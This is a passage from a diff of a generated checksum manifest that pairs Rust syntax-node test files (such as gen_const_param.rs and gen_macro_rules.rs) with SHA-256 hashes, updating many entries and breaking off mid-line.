feab3cdbbc469a287884ff7605e9a7541f904e9e5bd1f14a8e0f741fa970dd7c +Const/gen_const.rs a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f +ConstArg/gen_const_arg.rs 6a15d099c61ffa814e8e0e0fca2d8ff481d73ad81959064e0a214d3172a9d49e 6a15d099c61ffa814e8e0e0fca2d8ff481d73ad81959064e0a214d3172a9d49e ConstBlockPat/gen_const_block_pat.rs 7e3057cd24d22e752354369cf7e08e9536642812c0947b36aa5d8290a45476fd 7e3057cd24d22e752354369cf7e08e9536642812c0947b36aa5d8290a45476fd -ConstParam/gen_const_param.rs f0a4176333b9519b4cc2533a083f68f6859b5b0855d1b0dbcef4d4e206721830 f0a4176333b9519b4cc2533a083f68f6859b5b0855d1b0dbcef4d4e206721830 +ConstParam/gen_const_param.rs 71f22d907b0011dafc333f37635f0ee5b1eef2313b5a26cd2a21508a8e96c19a 71f22d907b0011dafc333f37635f0ee5b1eef2313b5a26cd2a21508a8e96c19a ContinueExpr/gen_continue_expr.rs 63840dcd8440aaf1b96b713b80eb2b56acb1639d3200b3c732b45291a071b5ff 63840dcd8440aaf1b96b713b80eb2b56acb1639d3200b3c732b45291a071b5ff -DynTraitTypeRepr/gen_dyn_trait_type_repr.rs ca6cb23c5996713121e3920652251c1c75136d31319558e366ef56941e9fe7de ca6cb23c5996713121e3920652251c1c75136d31319558e366ef56941e9fe7de -Enum/gen_enum.rs efa816c579bfba60d1f32f818b022956d08d397af508c82b7331f14615f25be4 efa816c579bfba60d1f32f818b022956d08d397af508c82b7331f14615f25be4 +DynTraitTypeRepr/gen_dyn_trait_type_repr.rs 1864f3900bdae6f4a0a428e0b2a1266b758dfa8f27059353a639612d8829f4dd 1864f3900bdae6f4a0a428e0b2a1266b758dfa8f27059353a639612d8829f4dd +Enum/gen_enum.rs 59c6dc0185c6b0dd877ce1b2291d3b8ab05041194b7bfc948e97baa4908605fa 59c6dc0185c6b0dd877ce1b2291d3b8ab05041194b7bfc948e97baa4908605fa ExprStmt/gen_expr_stmt.rs 6ce47428a8d33b902c1f14b06cc375d08eff95251e4a81dac2fa51872b7649b1 6ce47428a8d33b902c1f14b06cc375d08eff95251e4a81dac2fa51872b7649b1 -ExternBlock/gen_extern_block.rs 5b5c4d7a2c4a91027df1578b74900ae1b971aede7720ab12de9bb918c42a583d 5b5c4d7a2c4a91027df1578b74900ae1b971aede7720ab12de9bb918c42a583d -ExternCrate/gen_extern_crate.rs 9b3ab23a56b7778723ce436b25310547b2b0aeca3e5c6b7e61f273b5ce5573e3 9b3ab23a56b7778723ce436b25310547b2b0aeca3e5c6b7e61f273b5ce5573e3 -ExternItemList/gen_extern_item_list.rs ff2baaaa32099808b86fbf6f4853171146594d5db23c6ee447eb5cec10cee7cf ff2baaaa32099808b86fbf6f4853171146594d5db23c6ee447eb5cec10cee7cf +ExternBlock/gen_extern_block.rs 18c28123d50c31b7148475a2812d97226f75786083d5d2cf419117bacfe07687 18c28123d50c31b7148475a2812d97226f75786083d5d2cf419117bacfe07687 +ExternCrate/gen_extern_crate.rs 8d6bfd8d993a8e3a95ae9ccb576bd55be0c6a1d0893cfe15fa675174dbde9d7d 8d6bfd8d993a8e3a95ae9ccb576bd55be0c6a1d0893cfe15fa675174dbde9d7d +ExternItemList/gen_extern_item_list.rs f9a03ddf20387871b96994915c9a725feb333d061544c0fb6d2e6b1a1961d6ed f9a03ddf20387871b96994915c9a725feb333d061544c0fb6d2e6b1a1961d6ed FieldExpr/gen_field_expr.rs 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b -FnPtrTypeRepr/gen_fn_ptr_type_repr.rs 46af312570a9caec11e14ba05190e95e750c32565559f1622a132f7145320253 46af312570a9caec11e14ba05190e95e750c32565559f1622a132f7145320253 -ForExpr/gen_for_expr.rs 67decf3073e1a9363d9df05a5a64a6059349e50b81356f480f7aeb352189136d 67decf3073e1a9363d9df05a5a64a6059349e50b81356f480f7aeb352189136d -ForTypeRepr/gen_for_type_repr.rs 5108a5d63ce440305b92dd87387c22a0a57abfd19d88e03e1984e1537779f4a4 5108a5d63ce440305b92dd87387c22a0a57abfd19d88e03e1984e1537779f4a4 +FnPtrTypeRepr/gen_fn_ptr_type_repr.rs c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e +ForExpr/gen_for_expr.rs 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 +ForTypeRepr/gen_for_type_repr.rs 86f2f11f399d8072add3d3109a186d82d95d141660b18986bce738b7e9ec81a2 86f2f11f399d8072add3d3109a186d82d95d141660b18986bce738b7e9ec81a2 FormatArgsExpr/gen_format.rs e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 FormatArgsExpr/gen_format_args_arg.rs 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 @@ -41,103 +52,105 @@ GenericArgList/gen_generic_arg_list.rs cfb072d3b48f9dd568c23d4dfefba28766628678f GenericParamList/gen_generic_param_list.rs 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a IdentPat/gen_ident_pat.rs 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 IfExpr/gen_if_expr.rs 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 -Impl/gen_impl.rs dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed -ImplTraitTypeRepr/gen_impl_trait_type_repr.rs 3d8bc5bb967bcb3ff38bf0487411e2945a57b36aad43dedcad17de9c6bf717d5 3d8bc5bb967bcb3ff38bf0487411e2945a57b36aad43dedcad17de9c6bf717d5 +Impl/gen_impl.rs cfab33eb5e98b425b1d88be5f09f742be6c4f8d402e1becd4421aabb0431aadd cfab33eb5e98b425b1d88be5f09f742be6c4f8d402e1becd4421aabb0431aadd +ImplTraitTypeRepr/gen_impl_trait_type_repr.rs ebfa4d350ae5759bf7df6adf790d2d892c7a0d708f3340ccf3e12a681cb78f00 ebfa4d350ae5759bf7df6adf790d2d892c7a0d708f3340ccf3e12a681cb78f00 IndexExpr/gen_index_expr.rs 22d7f81ba43dc63f1f49e21a2c25ce25a1b8f6e8e95e1a66f518f010a4d73c61 22d7f81ba43dc63f1f49e21a2c25ce25a1b8f6e8e95e1a66f518f010a4d73c61 -InferTypeRepr/gen_infer_type_repr.rs 96f1b2d20319b031dde75b0bd612d4a4366315f2bc75590e5e422603f7a35541 96f1b2d20319b031dde75b0bd612d4a4366315f2bc75590e5e422603f7a35541 -ItemList/gen_item_list.rs 2ea6180e66de963627aabdaf64ce3c95c40cc7628d8734607ae2720bab857643 2ea6180e66de963627aabdaf64ce3c95c40cc7628d8734607ae2720bab857643 +InferTypeRepr/gen_infer_type_repr.rs cd50eaeffdf16e0e896b14b665590251a4d383c123502ed667d8b1f75000f559 cd50eaeffdf16e0e896b14b665590251a4d383c123502ed667d8b1f75000f559 +ItemList/gen_item_list.rs 5da9f631030568c80aa0b126369990070cebcd1805827a8077320d4bec789a4e 5da9f631030568c80aa0b126369990070cebcd1805827a8077320d4bec789a4e Label/gen_label.rs 0584f519f210f621d7ebc0cb8c95ce05db0795d6109c0d16866f8f699a28213c 0584f519f210f621d7ebc0cb8c95ce05db0795d6109c0d16866f8f699a28213c -LetElse/gen_let_else.rs 2cb09461b0ea48f666bd65a208663e64a874efadacb22764301871ea07956901 2cb09461b0ea48f666bd65a208663e64a874efadacb22764301871ea07956901 +LetElse/gen_let_else.rs 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9cc3a555c 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9cc3a555c LetExpr/gen_let_expr.rs 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 LetStmt/gen_let_stmt.rs 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb -Lifetime/gen_lifetime.rs 4f5c39d68e29ee4a351379ae9aa9c216f750b8858dac94d30928a348bee87a20 4f5c39d68e29ee4a351379ae9aa9c216f750b8858dac94d30928a348bee87a20 -LifetimeArg/gen_lifetime_arg.rs 95616e0dc445679761f4a60fe03247418b2c5979251413e309306b1c8fbf09de 95616e0dc445679761f4a60fe03247418b2c5979251413e309306b1c8fbf09de -LifetimeParam/gen_lifetime_param.rs 2caed50ce48360681271e4e89fde0d6d9076ebb9cd9c62fc4d43109cd873b31c 2caed50ce48360681271e4e89fde0d6d9076ebb9cd9c62fc4d43109cd873b31c +Lifetime/gen_lifetime.rs afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 +LifetimeArg/gen_lifetime_arg.rs 77e7153413205806b70f69088732ee09e26edacda2bedaa8b1ea771b6631f200 77e7153413205806b70f69088732ee09e26edacda2bedaa8b1ea771b6631f200 +LifetimeParam/gen_lifetime_param.rs e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 LiteralExpr/gen_literal_expr.rs 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d LiteralPat/gen_literal_pat.rs a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 LoopExpr/gen_loop_expr.rs 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 MacroBlockExpr/gen_macro_block_expr.rs 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b -MacroCall/gen_macro_call.rs 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 -MacroDef/gen_macro_def.rs 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 -MacroExpr/gen_macro_expr.rs 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb -MacroItems/gen_macro_items.rs 8ef3e16b73635dc97afa3ffa4db2bb21a8f1b435176861a594b0200cc5b9b931 8ef3e16b73635dc97afa3ffa4db2bb21a8f1b435176861a594b0200cc5b9b931 -MacroPat/gen_macro_pat.rs b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 -MacroRules/gen_macro_rules.rs 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 -MacroTypeRepr/gen_macro_type_repr.rs 03c15f1fd5af63821e49a125d236704c63889fe20a32f03f3ecf3e29b1cad9df 03c15f1fd5af63821e49a125d236704c63889fe20a32f03f3ecf3e29b1cad9df +MacroCall/gen_macro_call.rs c30added613d9edb3cb1321ae46fc6a088a2f22d2cc979119466ec02f6e09ed6 c30added613d9edb3cb1321ae46fc6a088a2f22d2cc979119466ec02f6e09ed6 +MacroDef/gen_macro_def.rs 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 +MacroExpr/gen_macro_expr.rs 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 +MacroItems/gen_macro_items.rs c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 +MacroPat/gen_macro_pat.rs 6bc63338397e6ef322a1824ce7d8fa68629a81c740f6e1d5347642501c83683a 6bc63338397e6ef322a1824ce7d8fa68629a81c740f6e1d5347642501c83683a +MacroRules/gen_macro_rules.rs 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 +MacroTypeRepr/gen_macro_type_repr.rs cdb9670dde8b2a71256bc8d4acb1d63bd726cb49ee486ca2dbf1952884fd9c37 cdb9670dde8b2a71256bc8d4acb1d63bd726cb49ee486ca2dbf1952884fd9c37 MatchArm/gen_match_arm.rs ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 -MatchArmList/gen_match_arm_list.rs dbf36444d371421a2b8768a188660dd45ed3b823fb1c56b90c1ba77f177d23d6 dbf36444d371421a2b8768a188660dd45ed3b823fb1c56b90c1ba77f177d23d6 +MatchArmList/gen_match_arm_list.rs 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 MatchExpr/gen_match_expr.rs 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 -MatchGuard/gen_match_guard.rs d2b4bd28bf175620383a01584171f641990136c5b3087a66b3261d11747573ff d2b4bd28bf175620383a01584171f641990136c5b3087a66b3261d11747573ff -Meta/gen_meta.rs e5c16b61f41a5fb5e4f83d4a7103ece0ff97656ac2e06d9040adc7101c6dbef2 e5c16b61f41a5fb5e4f83d4a7103ece0ff97656ac2e06d9040adc7101c6dbef2 +MatchGuard/gen_match_guard.rs f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a +Meta/gen_meta.rs 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b25 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b25 MethodCallExpr/gen_method_call_expr.rs f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d Module/gen_module.rs 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 -Name/gen_name.rs bbf5cff7da2400de554712ed66ff1e6370170ba988209b4e346bc053421df1ff bbf5cff7da2400de554712ed66ff1e6370170ba988209b4e346bc053421df1ff -NameRef/gen_name_ref.rs 41307c2f7ca82d28217129639e556bd4c91221cf3a4170250b313fd53b9e3f82 41307c2f7ca82d28217129639e556bd4c91221cf3a4170250b313fd53b9e3f82 -NeverTypeRepr/gen_never_type_repr.rs b9bf7cc4df2e5be4e85c0701b94ec189080db1dbc6e2c9ef0480c7f2f4b0fc17 b9bf7cc4df2e5be4e85c0701b94ec189080db1dbc6e2c9ef0480c7f2f4b0fc17 +Name/gen_name.rs 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 +NameRef/gen_name_ref.rs c8c922e77a7d62b8272359ccdabbf7e15411f31ca85f15a3afdd94bec7ec64e7 c8c922e77a7d62b8272359ccdabbf7e15411f31ca85f15a3afdd94bec7ec64e7 +NeverTypeRepr/gen_never_type_repr.rs cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 OffsetOfExpr/gen_offset_of_expr.rs 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 OrPat/gen_or_pat.rs 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 Param/gen_param.rs 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 -ParamList/gen_param_list.rs ef2e83d0aed45b969fe78dd717e87ef3c1f848e6179cfb4dc3cb136f1836b998 ef2e83d0aed45b969fe78dd717e87ef3c1f848e6179cfb4dc3cb136f1836b998 -ParenExpr/gen_paren_expr.rs dd0c4a21a92e54e8a6151145e013cbec9c9e1cad093d572e293b4f51d6c44aea dd0c4a21a92e54e8a6151145e013cbec9c9e1cad093d572e293b4f51d6c44aea -ParenPat/gen_paren_pat.rs c8d18521b9a0b7d39841eb72e3895914aa652b7235dea42ed12a4eb280e3bf0e c8d18521b9a0b7d39841eb72e3895914aa652b7235dea42ed12a4eb280e3bf0e -ParenTypeRepr/gen_paren_type_repr.rs 360a9415390ab572cb10015603537823cc0451bb94ef487d04bbfd7d523bee95 360a9415390ab572cb10015603537823cc0451bb94ef487d04bbfd7d523bee95 +ParamList/gen_param_list.rs a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd +ParenExpr/gen_paren_expr.rs caaf419c59d65ca911479dea7d62756a55593b3da65b02942a36abd975389f29 caaf419c59d65ca911479dea7d62756a55593b3da65b02942a36abd975389f29 +ParenPat/gen_paren_pat.rs 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 +ParenTypeRepr/gen_paren_type_repr.rs 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 +ParenthesizedArgList/gen_parenthesized_arg_list.rs 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 Path/gen_path.rs 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 Path/gen_path_expr.rs dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd Path/gen_path_pat.rs fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 -Path/gen_path_type_repr.rs 0cff40a38cf0201b70230ac3f1863728c0fa5f7099651fc437ae02824d12655b 0cff40a38cf0201b70230ac3f1863728c0fa5f7099651fc437ae02824d12655b +Path/gen_path_type_repr.rs 2a59f36d62a8a6e0e2caacd2b7a78943ddb48af2bb2d82b0e63b387ec24e052d 2a59f36d62a8a6e0e2caacd2b7a78943ddb48af2bb2d82b0e63b387ec24e052d PrefixExpr/gen_prefix_expr.rs c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab -PtrTypeRepr/gen_ptr_type_repr.rs 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 +PtrTypeRepr/gen_ptr_type_repr.rs b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd RangeExpr/gen_range_expr.rs 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 RangePat/gen_range_pat.rs 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 RefExpr/gen_ref_expr.rs 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 RefPat/gen_ref_pat.rs aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 -RefTypeRepr/gen_ref_type_repr.rs 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea -Rename/gen_rename.rs 553c16f243d1ae3b6b28510d39436c83425944e5085171c18e0a2aa40deb74fc 553c16f243d1ae3b6b28510d39436c83425944e5085171c18e0a2aa40deb74fc -RestPat/gen_rest_pat.rs e762bf7537225f97da751c5dca6a2cd3836ad7579b68c748b8c6cba65087acca e762bf7537225f97da751c5dca6a2cd3836ad7579b68c748b8c6cba65087acca -RetTypeRepr/gen_ret_type_repr.rs 25edbd60ad63ab4266f6426ef50f1dd17e24132f5a24404d240a3f07daef6a31 25edbd60ad63ab4266f6426ef50f1dd17e24132f5a24404d240a3f07daef6a31 +RefTypeRepr/gen_ref_type_repr.rs cf7b32d64550cd0b5033869b841089c1de292a1b25d3bd44c63ef9a265b9c8fb cf7b32d64550cd0b5033869b841089c1de292a1b25d3bd44c63ef9a265b9c8fb +Rename/gen_rename.rs 05957dd5c7a0971223a485207ef3e98b0408a3e765cfb1fd6237bcc21c89f21a 05957dd5c7a0971223a485207ef3e98b0408a3e765cfb1fd6237bcc21c89f21a +RestPat/gen_rest_pat.rs e9c977c8d3fce1d931abdfc025444e3e883468927f784ad1791670cace736aa7 e9c977c8d3fce1d931abdfc025444e3e883468927f784ad1791670cace736aa7 +RetTypeRepr/gen_ret_type_repr.rs 9db86003c7a4d91aa13fbc8220559bea6a05221c38c3f3ac0e03c6ac790aebcc 9db86003c7a4d91aa13fbc8220559bea6a05221c38c3f3ac0e03c6ac790aebcc ReturnExpr/gen_return_expr.rs 4f6ef29d7b3c60d6d71d1a6034a0721671f517428ba21897361a92b01009d38f 4f6ef29d7b3c60d6d71d1a6034a0721671f517428ba21897361a92b01009d38f -ReturnTypeSyntax/gen_return_type_syntax.rs 0b11a4cc400f9a2001996f99d61391bdb636e8aea036f587cf18ad6a957fe496 0b11a4cc400f9a2001996f99d61391bdb636e8aea036f587cf18ad6a957fe496 +ReturnTypeSyntax/gen_return_type_syntax.rs 648ce343023e7f80c445fada390870c5498add7fdf63dc82a800f6a77b7e7026 648ce343023e7f80c445fada390870c5498add7fdf63dc82a800f6a77b7e7026 SelfParam/gen_self_param.rs 15491f86a32020c9ed3ecadc08c945ed01916b63683f95d2f5c1bedb4f3f01f2 15491f86a32020c9ed3ecadc08c945ed01916b63683f95d2f5c1bedb4f3f01f2 SlicePat/gen_slice_pat.rs df4a6692f5100aa11dd777561400ce71e37b85f2363b0638c21975a1771b15d5 df4a6692f5100aa11dd777561400ce71e37b85f2363b0638c21975a1771b15d5 -SliceTypeRepr/gen_slice_type_repr.rs e50c142b7cf7bc3040ad64f351488557323d0b2fd5d004b41ed0fa8e522b5648 e50c142b7cf7bc3040ad64f351488557323d0b2fd5d004b41ed0fa8e522b5648 -SourceFile/gen_source_file.rs a7a1d4fa77b53adb6fbc031bf7ab49cf7c8787728ba0a687c348b5eefbb5b9df a7a1d4fa77b53adb6fbc031bf7ab49cf7c8787728ba0a687c348b5eefbb5b9df -Static/gen_static.rs ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9 ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9 -StmtList/gen_stmt_list.rs bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad bb3791a613b91a2086c19cb0eddbf978bb37bbb2bd79d3e61b40be35c71daaad -Struct/gen_struct.rs 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2 09c5c164d7c8a3991fad1a118d66c12c24d2ebf30fbea6205f7690ca9f24dbb2 +SliceTypeRepr/gen_slice_type_repr.rs 4a85402d40028c5a40ef35018453a89700b2171bc62fd86587378484831b969f 4a85402d40028c5a40ef35018453a89700b2171bc62fd86587378484831b969f +SourceFile/gen_source_file.rs c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 c0469cc8f0ecce3dd2e77963216d7e8808046014533359a44c1698e48783b420 +Static/gen_static.rs 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a 21314018ea184c1ddcb594d67bab97ae18ceaf663d9f120f39ff755d389dde7a +StmtList/gen_stmt_list.rs adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db adbd82045a50e2051434ce3cdd524c9f2c6ad9f3dd02b4766fb107e2e99212db +Struct/gen_struct.rs 5e181e90075f716c04c75e4ef0334abe3d5f419cd9ccfadfe595c09fab33566b 5e181e90075f716c04c75e4ef0334abe3d5f419cd9ccfadfe595c09fab33566b StructExpr/gen_struct_expr.rs 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb 8dd9a578625a88623c725b8afdfd8b636e1c3c991fe96c55b24d4b283d2212fb StructExprField/gen_struct_expr_field.rs 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 4ccca8e8ad462b4873f5604f0afdd1836027b8d39e36fbe7d6624ef3e744a084 -StructExprFieldList/gen_struct_expr_field_list.rs 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de 30a48484dbeca1fd8ead4b7b80f97bd583259e35dce2b590329c86a2d0e152de -StructField/gen_struct_field.rs 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 024d30845e244dd535dfb6c30f16de0eec5acd3a257110eeffd260ec82f9edb2 -StructFieldList/gen_struct_field_list.rs 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae 9ee6167b3b2edd2ad49f8fe02d6ef67fb1dacf6807014a6a16597d2f40d3bbae +StructExprFieldList/gen_struct_expr_field_list.rs bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc bc17e356690cfb1cd51f7dbe5ac88c0b9188c9bf94b9e3cc82581120190f33dc +StructField/gen_struct_field.rs 0884e458732ab74b4c7debee4fbef014f847815be5a6ddeba467844d33607c6e 0884e458732ab74b4c7debee4fbef014f847815be5a6ddeba467844d33607c6e +StructFieldList/gen_struct_field_list.rs 3c24edef6a92a1b7bb785012d1e53eb69197fb6ba3d4dfdcd43f901acdb7f51a 3c24edef6a92a1b7bb785012d1e53eb69197fb6ba3d4dfdcd43f901acdb7f51a StructPat/gen_struct_pat.rs 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c 3f972ff8a76acb61ef48bdea92d2fac8b1005449d746e6188fd5486b1f542e5c StructPatField/gen_struct_pat_field.rs dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 dfdab8cef7dcfee40451744c8d2c7c4ae67fdb8bd054b894c08d62997942f364 -StructPatFieldList/gen_struct_pat_field_list.rs 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 92490d79c975d25fd0d2e4a830a80abd896c5eb3b30fc54a3b386603ff09d693 -TokenTree/gen_token_tree.rs dde6595ee4e8f3fcdecfb054438b08e1a7db10d83d9fff121794df814c7aee0e 